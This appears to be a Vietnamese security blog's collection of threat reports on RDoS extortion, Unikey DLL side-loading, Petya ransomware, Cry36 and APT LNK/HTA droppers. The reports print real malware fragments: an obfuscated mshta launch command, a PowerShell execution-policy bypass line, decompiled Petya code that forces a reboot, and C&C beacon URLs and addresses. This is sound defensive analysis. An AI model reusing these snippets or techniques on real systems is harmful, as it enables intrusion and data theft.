  • Nâng cao nhận thức về bảo mật, không mở tệp đính kèm của các email không xác định, trừ khi nguồn tài liệu đáng tin cậy và mục đích rõ ràng, không dễ dàng kích hoạt macro của Office.
  • Cài đặt các bản vá và bản vá hệ điều hành cho các phần mềm quan trọng như Office một cách kịp thời.
  • Sử dụng phần mềm Antivirus để ngăn chặn các cuộc tấn công như ngựa thành Troy có thể xảy ra.
  • Người dùng, doanh nghiệp nên triển khai hệ thống phát hiện mối đe dọa sớm như SOC. Hệ thống SOC hiện nay đang là sự lựa chọn hàng đầu của các nhà bảo mật.
    Các IOC liên quan 

MITRE ATT&CK

Nguồn: mp.weixin.qq.com

RDoS ATTACKS BY FAKE FANCY BEAR
05 Th12

Vừa qua, trên Threat Intelligence có thu lượm được một vài thông tin về các chiến dịch tấn công từ chối dịch vụ RDoS (ransom denial-of-service), kẻ tấn công yêu cầu đòi tiền chuộc đối với các nạn nhân để không bị tấn công.

Những kẻ tấn công đó đã tống tiền dọa nạt thông qua việc gửi các email đe dọa các nạn nhân. Hầu hết kẻ tấn công lấy danh nghĩa của nhóm  Fancy Bear để lấy danh tiếng nhóm này đe dọa khiến những nạn nhân cảm thấy sợ hại. Những kẻ tấn công đóng giả là Fancy Bear khét tiếng đe dọa sẽ khởi động cuộc tấn công DDoS nếu tiền chuộc không được trả. Trong một số trường hợp, những kẻ tấn công đã thực hiện các cuộc tấn công DDoS nhỏ để chứng minh khả năng của chúng và xác nhận mối đe dọa. Các cuộc tấn công cũng được xác nhận bởi các nhà nghiên cứu bảo mật khác.

Cũng đợt đó CMC Cyber Security nhận được yêu cầu support từ một tổ chức khi họ nhận được email đe dọa giống như vậy

 

Một số tổ chức khi nhận được email đe dọa này cũng đã bị một cuộc tấn công DDoS demo vào các server của họ.

Vector attack (floods) sử dụng các giao thức UDPICMP , đặc biệt kẻ tấn công đã sử dụng UDP/3283, đây là một attack vector mới được phát hiện vào 06/2019.

Port UDP/3283 được sử dụng bởi giao thức Apple Remote Desktop Application (ARD) và service ARMS.

Fancy Bear hay còn gọi là APT28 (Sednit group, Sofacy, Pawn Storm, Strontium, Tsar Team, TG-4127, Group-4127, TAG_0700, Swallowtail, Iron Twilight, Group 74) hoạt động từ 2004,  Fancy Bear là một tổ chức hacker chuyên tấn công các tổ chức lớn, chính phủ các nước bằng các chiến dịch APT.

Có thể khẳng định là nhóm Fancy Bear không liên quan gì đến các chiến dịch RDoS (ransom denial-of-service), mục tiêu của họ đa phần là phá hoạt và làm gián điệp, trong khi mục tiêu của những kẻ trên là tiền một thứ mà nhóm Fancy Bear được tài trợ, chỉ là một chút đe dọa sử dụng social engineering.

Các source ip được sử dụng dụng bởi kẻ tấn công sử dụng random cho UDP Flood trong cuộc tấn công RDoS

CMC Cyber Security sẽ chỉ public 1 phần, nếu bạn muốn cần nhiều hơn hãy contact chi tiết.

Phương thức để giảm thiểu ngăn chặn những cuộc tấn công DDOS kiểu này có nhiều và cũng không quá khó để thực hiện. Chúng tôi sẽ tiếp tục apdate các thông tin chi tiết cụ thể trong thời gian sớm nhất.

CMC CẢNH BÁO CHIẾN DỊCH APT MỚI LỢI DỤNG UNIKEY TẤN CÔNG NGƯỜI DÙNG VIỆT NAM
03 Th12

 

Thông tin chung

MD5: 08e71118bad94617bf25a0d42db6a564

Filename: KBDUS.dll

Hệ thống giám sát CMDD của CMC phát hiện được mẫu mã độc lợi dụng phần mềm Unikey để tấn công người dùng Việt Nam. Unikey là phần mềm gõ tiếng việt dành cho Windows rất phổ biến tại Việt Nam. Lợi dụng điều này, kẻ tấn công có thể tạo ra các bộ cài unikey sử dụng file UnikeyNT.exe chính thống nhưng chèn thêm vào cùng thư mục mã độc nguy hiểm và sử dụng nhiều kỹ thuật để lừa chạy trên máy người dùng (exploit, phishing …). Do đó người dùng chỉ nên tải phiên bản chính thức của unikey từ trang web unikey.org cũng như không mở các tập tin lạ đường dẫn lạ. Đồng thời cũng update các bản vá lỗ hổng cho Windows.

 

 

Phân tích kỹ thuật

Trong case dưới đây, tệp tin kbdus.dll(PE 32bit) chứa mã độc đã được chèn kèm theo cùng thư mục với UnikeyNT.exe(phiên bản 4.0 RC2 Build 091101 NT). Kẻ tấn công cũng thay đổi thuộc tính về thời gian của tệp tin kbdus.dll về cùng với thời gian của file UnikeyNT.exe để người dễ dàng đánh lừa người dùng hơn. Thực chất file này được compile vào khoảng đầu tháng 10 năm 2019.

 

Kbdus.dll

kbdus.dll là một thư viện sẽ được load lên khi người dùng sử dụng layout bàn phím US(id 0x00000409). Kẻ tấn công đã thực hiện phân tích cách hoạt động của Unikey và nhận ra khi UnikeyNT.exe load dll kèm theo là UKhook40.dll, sẽ thực thi hàm LoadKeyboardLayoutA để load layout với id là 0x00000409. Khi đó kbdus.dll sẽ được load lên. Vì đặt sẵn kbdus.dll trong cùng thư mục với UnikeyNT.exe, tệp tin này sẽ được ưu tiên load trước do đó sẽ thực thi mã độc chứa trong nó.

Tại hàm DllMain của dll, mã độc đã tạo ra 1 thread mới để thực thi các hành vi độc hại của nó.

Mã độc tạo ra mutex với tên “Global\mFNXzY0g” để tránh thực thi chồng chéo nhau. Các string được mã độc sử dụng hầu hết đã bị obfuscate bằng stackstring hoặc hàm mã hóa riêng. Hàm mã hóa ở đây được thiết lập đơn giản bằng cách cộng vào giá trị của mỗi kí tự thêm 1(ví dụ kí tự “K” dạng hex có giá trị là 0x4b sẽ được mã hóa thành 0x4c ứng với kí tự “L”). Trên ida pro có thể sử dụng idapython để patch lại các kí tự này. Đối với stackstring, có thể dùng script ironstring.py của flare-teamđể đơn giản hóa việc phân tích.

Sau khi tạo và kiểm tra mutex, mã độc tiến hành đọc dữ liệu từ các khóa registry đặc biệt. Nhiều khả năng các khóa này được tạo ra khi người dùng thực hiện chạy file cài đặt được kẻ tấn công chuẩn bị. Đầu tiên là giá trị “CB5JQLWSYQP2CWVRMJ8NB4CCUE1B8K4A” ở trong key “HKEY_CLASS_ROOT.kci\PersistenHandler”. Giá trị này sẽ chứa 1 cấu trúc bao và dữ liệu xlm. Thông tin trong cấu trúc bao gồm một số giá trị để mã độc kiểm tra sau khi tiến hành giải mã dữ liệu như kích thước trước và sau của dữ liệu xlm, md5 trước và sau của dữ liệu đó.

Dữ liệu được giải mã ra là định dạng xlm, sẽ được mã độc đọc vào 1 vùng nhớ thông qua các api trong thư viện xmllite.dll.

Giá trị tiếp theo trong khóa “HKEY_CLASS_ROOT.kci\PersistenHandler” được đọc là “F430D64D98E6EAC972380D568F080E08”. Tại đây chứa một cấu trúc dữ liệu khác cũng bao gồm các thông tin về kích thước và md5 của dữ liệu trong nó. Dựa vào phần struct này, mã độc sẽ decrypt ra một file PE khác với cách thức decrypt và kiểm tra tương tự như quá trình xử lý dữ liệu xml.

File PE này là 1 dll này có tên là Knocker.dll và export ra hàm tên là Construct, có thời gian compile gần như cùng lúc với file kbdus.dll ở trên. Mã độc tiến hành load dll lên memory. Sau đó, mã độc tìm đến địa chỉ hàm Construct và thực thi nó với tham số là địa chỉ của cấu trúc dữ liệu xml data đã đọc trước đó.

Thông qua các API như VirtualAlloc, VirtualProtect, LoadLibrary, GetProcAddress, file PE đã được map lên bộ nhớ như một file PE thông thường. Trước khi thực thi hàm Construct, mã độc cũng thực thi qua hàm DllMain trong dll để đảm bảo dll hoạt động bình thường.

 

Knocker.dll – Construct

Tại hàm construct, mã độc copy dữ liệu nhận được từ tham số truyền vào 1 vùng nhớ khác, sau đó bắt đầu thu thập thông tin máy tính người dùng. Thông tin bị thu thập bao gồm CPU, RAM, thông tin Windows, computer name, organization, thông tin về user, ngôn ngữ, timezone, card mạng, thông tin ổ phân vùng cài đặt hệ điều hành.

Sau đó mã độc tạo ra UUID trong khóa “HKEY_CLASS_ROOT.kci\PersistenHandler”. lưu lại 2 giá trị md5. Giá trị thứ nhất được tạo ra từ thông tin về user sid, username, computer name. Thông tin md5 thứ 2 dựa trên các giá trị của cpu, ram, disk, network adapter.

Mã độc tiếp tục tạo ra 1 string để định danh máy tính có dạng “PC: %s; MAC: %s; SerVer: %f”. Dữ liệu này sẽ nằm trong 1 struct mà mã độc sẽ mã hóa ở dạng base64 để gửi đi sử dụng method là GET.

Thông tin request gửi đến C&C có dạng:

“hxxp://news.vnxahoi[.]com:443/4BwhFJ9p/job.php?[UUID][data\_in\_base64]”

Với user agent là:

“Mozilla/4.0 (compatible; MSIE 8.0; Win32)”

Header kèm theo là:

“Content-Length:%d\r\nCache-Control: no-cache\r\nMD5:%s\r\nConnection: Close\r\n”

Trong lần kết nối đầu tiên, mã độc chờ đợi nhận được một command để thực thi. Và lần kết nối thứ 2 sẽ được gửi đi tương tự như lần 1 với mục đích report lại việc thực thi của command nhưng sử dụng phương thức POST và request thay đổi với định dạng:

“hxxp://news.vnxahoi[.]com:443/4BwhFJ9p/job.php?[UUID][create\_process\_sate]”.

Đây là bước cuối cùng trong quá trình thực thi của mã độc. Tuy nhiên, ở thời điểm hiện tại, response trả về là 404 Not Found nên mã độc không thể tiếp tục thực hiện các hành vi khác của mình.

 

Thông tin về c&c

Kiểm tra thử một số thông tin về domain của c&c biết được ip mà domain này trỏ đến là 125[.]212.218.121.

Một số domain khác trỏ đến ip này là:

Đánh giá mức độ nguy hiểm

Đây là chiến dịch tấn công được đầu tư nghiên cứu kỹ, rất nguy hiểm và khó bị phát hiện. Vì unikey là bộ gõ văn bản rất phổ biến ở Việt Nam, có thể nói là máy tính nào dùng Windows ở Việt Nam cũng đều cài đặt phần mềm Unikey. Những kẻ tấn công chỉ cần drop file kbdus.dll vào thư mục chứa unikey là có thể khai thác được máy của nạn nhân. Khuyến cáo người sử dụng nên kiểm tra kỹ thư mục cài đặt Unikey, loại bỏ file kbdus.dll hoặc sử dụng sản phẩm chống mã độc để bảo vệ máy tính của mình. CMDD của CMC đã cập nhật mẫu mã độc kbdus.dll, người dùng có thể download tại đường dẫn sau: https://cmccybersecurity.com/cmc-antivirus-free/

PHÂN TÍCH MẪU RANSOMWARE PETYA
08 Th11

Ransomware Petya

Trỗi dậy từ đống tro tàn của Wannacry, một hiểm họa mới bắt đầu: Petya. Trong hai năm 2016 và 2017, ransomware Petya và những biến thể của nó đã ảnh hưởng đến hàng nghìn máy tính trên toàn thế giới. Ngay sau khi ransomware Wannacry vừa có dấu hiệu lắng xuống, Petya nỗi lên như một sự thay thế hoàn hảo.

Điểm đặc biệt của loại malware này là nó không mã hóa các tập tin dữ liệu của người dùng mà thay đổi Master Boot Record(MBR) và mã hóa Master File Table (MFT) khiến cho người dùng thậm chí còn không boot được vào hệ điều hành.

Cách thức hoạt động của Petya – Nguồn: Microsoft.com

Theo các nguồn thông tin, cuộc tấn công của ransomware Petya bắt nguồn từ công ty M.E.Doc, một công ty kiểm toán có trụ sở tại Ukrainian, thông qua phần mềm của M.E.Doc có chứa Petya trong một bản cập nhật. Ngoài ra, Petya còn được chèn trong các file văn bản được gửi có chủ đích tới các cơ quan tổ chức khi người dùng mở lên thì ransomware sẽ lừa người dùng kích hoạt marco có sẵn trong các phiên bản của Office.

Stage 1: High level

Trên không gian mạng hiện nay có rất nhiều biến thể của ransomware Petya nhưng trong bài viết này ta sẽ tập trung phân tích mẫu:

SHA-256:26b4699a7b9eeb16e76305d843d4ab05e94d43f3201436927e13b3ebafa90739

Ta dễ dàng nhận ra mẫu ransomware cần phải được unpack trước khi thực thi các lệnh thực. Trong quá trình debug ransomware có gọi đến các hàm như VirtualProtect và VirtualAlloc để phân bổ và thay đổi quyền của một vùng nhớ mới. Phỏng đoán ràng đây sẽ là vùng nhớ chứa mã thực của ransomware sau khi unpack. Vậy nên ta chỉ cần đặt breakpoint ở điểm đầu của vùng nhớ mới được tạo ra và đây là kết quả:

Như ta thấy trong hình trên, trong cửa sổ hexdump là header của một pe file. Dump toàn bộ section này ra ta thu được một file Setup.dll với đầy đủ import table rất dễ đọc.

Đi qua lần lượt các hàm được thực hiện trong file Setup.dll khi được khởi chạy. Đầu tiên, ransomware Petya lấy thông tin ổ cứng của nạn nhân bằng hàm DeviceIoControl để láy vị trí vật lý của một volume trên ổ cứng, thông tin về chủng loại, kích thước, tích chất của phân vùng ổ cứng(bằng IOCTL_DISK_GET_PARTITION_INFO_EX, PARTITION_INFORMATION_EX, ). Dưới đây là pseudocode hàm lấy vị trí vật lý của một volumn trên một hoặc nhiều ổ cứng:

v1 = this;
  BytesReturned = 0;
  v2 = GetSystemDirectoryA(0, 0);
  v3 = v2;
  if ( !v2 )
    return 0;
  v5 = (CHAR *)sub_239090(v2);
  if ( !GetSystemDirectoryA(v5, v3) )
    return 0;
  *(_DWORD *)FileName = 1546542172;
  v9 = *v5;
  v10 = 58;
  sub_239070(v5);
  v6 = CreateFileA(FileName, 0, 3u, 0, 3u, 0, 0);
  if ( v6 == (HANDLE)-1 )
  {
    CloseHandle((HANDLE)0xFFFFFFFF);
    return 0;
  }
  DeviceIoControl(v6, 0x560000u, 0, 0, &OutBuffer, 0x20u, &BytesReturned, 0);
  // Trong do 0x560000 là IoControlCode duoc thay lan luot la 0x70048, 0x70000 trong cac ham con lai de lay thong tin o dia  
  CloseHandle(v6);
  qmemcpy(v1, "\\\\.\\PhysicalDrive", 17);
  v1[17] = v12 + 48;
  v1[18] = 0;
  return 1;

Sau đó, ransomware tạo một buffer chứa link trả tiền chuộc “hxxp://petya5koahtsf7sv[.]onion/[Random]”, “hxxp://petya37h5tbhyvki[.]onion/[Random]” Ransom Note. Và gọi đến hàm CryptGenRandom để tạo ra khóa cá nhân của nạn nhân.

  v4 = (_DWORD *)phProv;
  *(_DWORD *)phProv = 0;
  if ( !CryptAcquireContextA(&phProv, 0, 0, 1u, 0xF0000000) )
    return -60;
  if ( !CryptGenRandom(phProv, dwLen, pbBuffer) )
    return -60;
  CryptReleaseContext(phProv, 0);
  *v4 = dwLen;
  return 0;

Kết thúc payload, ransomware dùng NtRaiseHardError để ép máy khởi động lại

v0 = GetCurrentProcess();
  if ( !OpenProcessToken(v0, 0x28u, &TokenHandle) )
    return 0;
  LookupPrivilegeValueA(0, "SeShutdownPrivilege", (PLUID)NewState.Privileges);
  NewState.PrivilegeCount = 1;
  NewState.Privileges[0].Attributes = 2;
  AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0, 0, 0);
  if ( GetLastError() )
    return 0;
  v2 = GetModuleHandleA("NTDLL.DLL");
  v3 = GetProcAddress(v2, "NtRaiseHardError");
  ((void (__cdecl *)(signed int, _DWORD, _DWORD, _DWORD, signed int, char *))v3)(-1073740976, 0, 0, 0, 6, &v5);
  return 1;

Stage 2: Low level

Giờ ta phân tích mã độc được chèn vào MBR của ổ đĩa:

Từ kết quả dump ra từ \.\PhysicalDrive0 ta có:

  • Sector 0: Điểm được bootloader độc đầu tiên
  • Sector 1-33: Toàn bộ là 0x37
  • Sector 34-49: Đoạn kernel của ransomware
  • Sector 50-53: Trống
  • Sector 54: Nonce, CNC và Personal Key
  • Sector 55-56: Data được mã hóa

Khi máy khởi động đoạn mã của ransomware sẽ được thực thi:

Để đọc sector tử ổ đĩa nó sử dụng interrupt 13

Tiếp đến, Ransomware sẽ check xem MBR đã bị mã hóa chưa?

Nếu chưa mã hóa, Petya sử dụng thuật toán Salsa20 để khóa MFT.

MFT (Master File Table) là thành phần quan trọng nhất trong hệ thống NTFS. MFT chứa thông tin về tất cả các tập tin và thư mục trong ổ đĩa logic.

Sau khi mã hóa xong màn hình chính sẽ được hiển thị

Khi người dùng nhập key Petya sẽ kiểm tra định dạng của key:

  • Có độ dài 16 byte
  • Chỉ chấp nhận các ký tự sau 123456789abcdefghijkmnopqrstuvwxABCDEFGHJKLMNPQRSTUVWX

Mặc dù, ta hoàn toàn có thể bypass check_key bằng cách đổi địa chỉ của một số hàm jump nhưng như vậy cũng không giải mã được MFT. Tuy nhiên, do giới hạn về kích thước của các sector nên ransomware Petya không triển khai đầy đủ thuật toán Salsa 20 nên ta có thể brute force được key giải mã.

Trong quá trình giải mã của Petya ta thấy:

  • Petya load lên bộ nhớ 512 byte của sector thứ 55(đây là dữ liệu cần được giải mã)
  • Petya load lên bộ nhớ 8 byte ở offset 0x6c21 ngay trước CNC trong sector thứ 54(đây là nonce)

Ta có được bản mã và nonce. Ta hoàn toàn có thể đọc thuật toán của salsa và tự viết script brute force hoặc sử dụng script được viết bằng golang của một anh bạn rất tốt bụng leo-stone.

Tổng kết

Việc tạo ra một ransomware được khởi chạy ở boot sector, mã hóa MBR và MFT là một hướng đi rất thú vị. Tuy nhiên, việc triển khai ransomware dưới tầng kernel đã tạo ra một vài lỗ hổng trong lúc triển khai thuật toán mã hóa giúp cho chúng ta có thể giải mã mà không cần key. Điều này đã khiến cho Petya phiên bản đầu thể không lây nhiễm rộng rãi. Mặc dù vậy, những mã độc có hướng đi như Petya, ví dụ như Goldeneye, đã tạo cảm hứng cho hacker phát triển những ransomware tấn công vào tầng kernel, đặt ra thách thức cho các nhà bảo mật.

CẢNH BÁO RANSOMWARE CRY36/NEMESIS ĐANG LÂY LAN RỘNG RÃI
06 Th11

Các chuyên gia phân tích mã độc của CMC Cyber Sercurity vừa ghi nhận có ít nhất 4 đơn vị bị nhiễm ransomware Cry36/Nemesis tất cả dữ liệu người dùng (ngoại trừ các file có thể gây lỗi cho hệ điều hành) bị mã hóa và đổi phần mở rộng thành “.[id]_WECANHELP”.

Mẫu ransomware có phần mở rộng “.[id]_WECANHELP” là biến thể mới nhất của Cry36/Nemesis được phát hiện lần đầu tiên vào 9/8/2019. Khi lây nhiễm vào máy tính nạn nhân nó bắt đầu quét nhanh tất cả phân vùng ổ đĩa, phân vùng chia sẻ để xác định dữ liệu người dùng và bỏ qua các file thực thi, file hệ thống. Cuối cùng, ransomware mã hóa dữ liệu, trong mỗi thư mục nó mã hóa đều được để lại một file chứa các thông tin để nạn nhân có thể conteac với kẻ tấn công và ID của nạn nhân. Biến thể của Cry36/Nemesis thường được gửi vào máy tính của nạn nhân thông qua các cổng RDP được bảo mật kém, spam email hoặc giả làm các phần mềm lừa người dùng tải về.

Hiện nay, chưa có phương pháp nào hiệu quả để phá mã khóa của Cry36/Nemesis. Tuy vậy, các nạn nhân tuyệt đối không được trả tiền chuộc cho kẻ tấn công. Đã có rất nhiều trường hợp được ghi nhận, sau khi trả tiền chuộc nạn nhân cũng không giải mã được dữ liệu hoặc dữ liệu giải mã ra bị lỗi. Đồng thời việc trả tiền cho kẻ tấn công sẽ thức đẩy hắn quay lại một lần nữa.

Để phòng ngừa nguy cơ trở thành nạn nhân của Cry36/Nemesis, người dùng nên ngắt các cổng dịch vụ RDP nếu không cần sử dụng đến, thiết lập các quy tắc cho tường lửa để giới hạn người sử dụng, truy cập từ xa đến server, đảm bảo nguồn gốc của phần mềm, email trước khi mở.

CMC CYBER SECURITY PHÂN TÍCH MẪU MALWARE DẠNG LNK CỦA NHÓM APT PANDA
31 Th10

Gần đây, CMC CyberSecurity nhận được một số mẫu mã độc được cho là do nhóm tin tặc Panda phát triển. Nhằm tấn công APT tới các tổ chức chính phủ các nước, trong đó có các tổ chức của Việt Nam.

Các mẫu nhận được sau khi phân tích có thể chia làm 2 loại. Mỗi loại sử dụng 1 cách thực thi payload khác nhau nhưng vẫn có một số đặc điểm chung sau:

  • Sử dụng file shortcut .lnk kèm theo đuôi .doc(ví dụ sample.doc.lnk) để đánh lừa người dùng.
  • File lnk đính kèm theo file hta có thể thực thi được vbscript.
  • Script mở file document đính kèm cho người dùng và ngầm thực thi payload.

Dựa trên nội dung của các file tài liệu được chuẩn bị để đánh lừa người dùng, có thể phỏng đoán rằng mục tiêu mà kẻ tấn công muốn nhắm đến là người dùng thuộc một số đơn vị trong cơ quan nhà nước Việt Nam.

   1.  Phân tích kỹ thuật

  1.1.  Phân tích file lnk loại 1

File LNK

File mẫu là 1 file shortcut có phần mở rộng đuôi là .lnk, thường được đặt tên kèm theo đuôi .doc để đánh lừa người dùng do đuôi .lnk sẽ được Windows ẩn đi. Điểm đáng ngờ là ở phần target của file shortcut. Thông thường, target của shortcut thường trỏ đến 1 thư mục hay 1 file đích. Tuy nhiên, target của các mẫu đều chứa đoạn command có dạng sau:

%comspec% /c for %x in (%temp%=%cd%) do for /f "delims==" %i in ('dir "%x\GIAYMOI.doc.lnk" /s /b') do start m%windir:~-1,1%hta.exe "%i"

Đoạn lệnh trên đã được obfuscate bằng cách sử dụng biến %comspec% để thay cho việc gọi trực tiếp chuỗi “cmd.exe” và chữ “s” trong tên file mshta.exe được lấy bằng cách cắt ký tự cuối cùng của giá trị chứa trong biến “%windir%”(thường là C:\Windows).

Mshta.exe là 1 ứng dụng của microsoft phát triển nhằm tận dụng ưu điểm xây dựng nhanh ứng dụng thông qua html, css, vbscript, javascript. Sử dụng mshta và định dạng file .hta, ta có thể mở 1 trang html như 1 ứng dụng. Định dạng file hta cũng giống như file html. Bằng cách thêm thẻ tag <HTA:APPLICATION/> vào trong thẻ <head> của file html ta đã có file hta có thể được mở thông qua ứng dụng mshta.

<HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SHOWINTASKBAR="no" SYSMENU="no"  CAPTION="no" />

File hta có thể bị chèn thêm vào trước header của nó. Tận dụng điều này,

kẻ tấn công đã chèn vào trước nó 1 file lnk với command mở chính nó bằng mshta.exe để thực thi file hta nhúng kèm. Khi người dùng mở file lnk, sẽ thực thi command trong target của file lnk và thực thi file mshta.exe để mở chính nó.

File HTA

Mặc định, mshta.exe có thể thực thi cả javascript và vbscript nhúng trong file hta nhờ sử dụng các dll liên quan. File hta nhúng kèm khi mở lên sẽ có các thuộc tính: chạy thu nhỏ(minimize), không hiện trên taskbar, không có menu và caption. Nhiệm vụ duy nhất của nó là thực thi đoạn mã vbscript độc hại.

Đoạn mã vbscript đã bị obfuscate(làm rối) để khiến quá trình phân tích gặp khó khăn. Sau khi deobfuscate, có thể thấy đoạn mã chứa 1 data ở dạng binary.

Sau đó, đoạn mã sử dụng ADODB object để lưu lại binary data thành 1 file vào thư mục %temp% với tên là 3.ps1.

Cuối cùng sẽ thực thi file 3.ps1 bằng dòng lệnh

powershell.exe -exec bypass -file & szTempPath, Null, Instance, MWcWurrkfEbtfWdZTY

3.ps1

Đoạn mã powershell tiếp tục bị làm rối bằng các sử dụng base64 để encode toàn bộ nội dung của nó. Sau khi decode toàn bộ nội dung, script sẽ được tiếp tục chạy thông qua hàm iex của powershell.

Nội dung sau khi decode của script cũng bị làm rối để khiến cho nội dung của nó trở nên khó hiểu hơn. Sau khi phân tích, có thể biết được tổng quát nội dung và nhiệm vụ của đoạn mã như sau:

  • Đoạn mã kiểm tra quyền Administrator của user hiện tại và lưu kết quả vào 1 biến.
  • Tiến hành decode file .doc ở dạng base64 và lưu file này vào thư mục %temp%. Sau đó sẽ mở file này lên cho user.
  • Nếu script được chạy với quyền của Administrator, file .dat sẽ được lưu vào trong th thư mục “%windir%\debug”. Nếu không, thư mục %temp% sẽ được dùng để lưu file .dat.
  • Công cụ InstallUtil(v2.0 hoặc 4.0) sẽ được dùng để làm loader thực thi file payload .dat. Khi có quyền Administrator, script sẽ copy 2 file InstallUtil.exe và schtasks.exe của windows vào thư mục %temp%. Riêng file schtasks.exe(tiện ích của microsoft dùng để lên lịch tự động chạy 1 số chương trình, tác vụ 1) sẽ được đổi tên thành “wtask.exe”.
  • Sau đó dùng cmd để thực thi file wtask.exe tự động chạy có mục đích là tải thực thi file loader để chạy file .dat với quyền SYSTEM.
  • Nếu như không có quyền Administrator, loader sẽ được thực thi gián tiếp thông qua vbscript. Đoạn mã cũng kiểm tra và điều chỉnh cách thực thi cho phù hợp khi phát hiện có sản phẩm antivirus cài đặt trên máy tình.
  • Sau khi thực thi tiến trình “wtask.exe” sẽ tạo ra 1 entry trong Task Scheduler để thực thi

Final Payload

InstallUtil.exe khi thực hiện load file payload tmp_FlVnNI.dat sẽ tiếp tục decode 1 đoạn shellcode ở dạng base64 và copy phần giải mã được vào 1 vùng nhớ được cấp phát với thuộc tính PAGE_EXECUTE_READWRITE và tạo ra 1 thread để thực thi shellcode.

Shellcode sẽ tự giải mã 1 phần code của nó bằng thuật toán xor với key là 0x44. Sau khi giải mã 0xcf2 byte, shellcode sẽ thực thi phần được giải mã.

Đây là payload cuối cùng để thực hiện kết nối đến server của attacker. Hiện tại đã không thể kết nối được đến server này.

Phân tích file lnk loại 2

First stage

Tương tự như loại 1, loại 2 cũng là 1 file lnk được nhúng vào trước file hta. Ở giai đoạn thực thi vbscript, script này giải mã và lưu vào thư mục %temp% 3 file binary ở dạng base64 và 1 file document.

File document sau đó sẽ được mở cho user.

Trong khi đó, script sẽ thực thi file 3.exe để thực hiện các hành vi độc hại.

Second stage

File thực thi 3.exe thực  chất là 1 file sạch, nhưng sẽ load 1 file dll đã bị chỉnh sửa chứa mã độc.

Để làm điều này, attacker chỉ cần tìm 1 dll được load bằng hàm LoadLibrary trong file 3.exe(ở trường hợp này là http_dll.dll), sau đó tạo ra 1 file dll độc hại với tên trùng với tham số của hàm LoadLibrary và để cùng thư mục với file 3.exe. Khi gọi LoadLibrary, 3.exe sẽ tìm dll trong cùng thư mục trước và load nó lên.

http_dll.dll khi được load lên sẽ thực hiện tìm hàm VirtualProtect để chỉnh sửa thuộc tính của 16 byte vùng nhớ của module vừa load nó lên tại RVA là 0x157a thành PAGE_EXECUTE_READWRITE. Trong trường hợp này, vị trí sửa sẽ là lệnh jz 0x401533.

Để thực hiện hành vi độc hại, lệnh jz 0x401533 sẽ được thay thế bằng 3 lệnh push FFFFFFFF, push http_dll.10001230 và lệnh “ret” để chuyển hướng chương trình 3.exe sang hàm sub_10001230 của dll, sau đó chương trình sẽ để cho 3.exe thực thi tiếp.

Tại hàm sub_10001230, mã độc sẽ đọc file http_dll.dat trong cùng thư mục. Nội dung ở phần đầu của file dat này là 1 string có null-terminated và phần data. String này sẽ được sử dụng để là key giải mã cho phần data của file dat.

Sau đó, mã độc sẽ tạo ra 1 vùng nhớ mới để chứa phần giải mã được tiến hành bằng thuật toán xor với key là string trong file dat như trên.

Mã độc tiếp tục thay đổi thuộc tính của vùng nhớ mới này bằng thuộc tính PAGE_EXECUTE_READWRITE và thực thi shellcode tại địa chỉ này.

Nội dung giải mã thu được là 1 file PE dạng RAW, tuy nhiên đã được lồng vào rất khéo 1 shellcode, bắt đầu từ offset 0. Shellcode này có nhiệm vụ như 1 loader, load file PE dạng raw này để có thể thực thi được.

Đầu tiên, shellcode tìm địa chỉ của kernel32.dll sau đó lấy địa chỉ các hàm LoadLibray, GetProcAddress, ZwFlushIntructionCache, VirtualAlloc bằng cách so sánh hash tên của các hàm được kernel32 export.

Sau đó, Loader đọc header của file PE, thực hiện map các section lên các vùng nhớ tương ứng, realloc lại một số địa chỉ và resolve lại Import Address Table của file. Sau khi hoàn tất, luồng thực thi chương trình sẽ được chuyển qua hàm DllMain của file PE này.

Final Payload

Tại đây, mã độc sẽ tiến hành lấy 1 số đường dẫn để sử dụng, sau đó giải mã 1 phần data section để sử dụng.

Kết quả giải mã là 1 số strings bao gồm tên khóa autorun, ip c&c server.

Sau đó, mã độc sẽ thực hiện các hành vi sau:

  • Tạo bản sao của 3 file thực thi vào thư mục profile của user hoặc alluserprofile nếu có đủ quyền administrator.
  • Thêm và khóa autorun để tự kích hoạt file thực thi vừa drop ra khi khởi động lại máy. Đồng thời tự khởi chạy lại nếu đây là lần chạy đầu tiên của nó. Mã độc phân biệt điều này bằng cách chèn thêm 1 tham số nữa cho nó ở các lần chạy tiếp theo.
  • Tạo mutex, kết nối đến server để nhận lệnh từ server.
    • Tạo backdoor cho phép kẻ tấn công thực thi lệnh từ xa.
    • Hỗ trợ nhiều command khác nhau bao gồm upload file, thư mục, list folder, đọc file, lấy thông tin máy tính, user,…

Kết luận

Bằng cách sử dụng nhiều kỹ thuật tấn công khác nhau và làm rối trong khi thực thi cho thấy rằng người đứng sau phát triển mã độc đã đầu tư không ít thời gian để nghiên cứu mục tiêu và phát triển phương pháp tấn công cho phù hợp. APT là một loại tấn công nguy hiểm, được đầu tư kỹ lưỡng nhằm đánh cắp các thông tin quan trọng và gây nhiều thiệt hại cho tổ chức. Để phòng ngừa các cuộc tấn công APT, luôn luôn chuẩn bị các phương án đề phòng và giám sát liên tục mới có thể đảm bảo tính an toàn cho hệ thống của người dùng cũng như cả tổ chức.

C&C ip, domain

185.239.226.19

185.239.226.61

43.254.217.67

167.88.178.24

www.yahoorealtors.com

yahoorealtors.com

web.officeproduces.com

web.officeproduces.com

up.officeproduces.com

we.officeproduces.com

download.officeproduces.com

aridndvn.ccom

Infosecvn.com

CHỈ CẨN MỞ MỘT HÌNH ẢNH BÌNH THƯỜNG, ĐIỆN THOẠI CỦA BẠN ĐÃ CÓ THỂ BỊ “HACK”
30 Th10

Ngày nay, các clip lặp ngắn, GIF có ở khắp mọi nơi trên phương tiện truyền thông xã hội , trên bảng tin nhắn, trên các cuộc trò chuyện, giúp người dùng thể hiện hoàn hảo cảm xúc của mình, khiến mọi người có thể vui vẻ, thư giãn và làm nổi bật ý nghĩa truyền đạt của cuộc trò chuyện. Nhưng điều gì sẽ xảy ra nếu một lời chào GIF trông ngây thơ với tin nhắn Chào buổi sáng, Chúc mừng sinh nhật hoặc Giáng sinh vui vẻ “hack” chiếc điện thoại đang cầm trên tay của bạn?

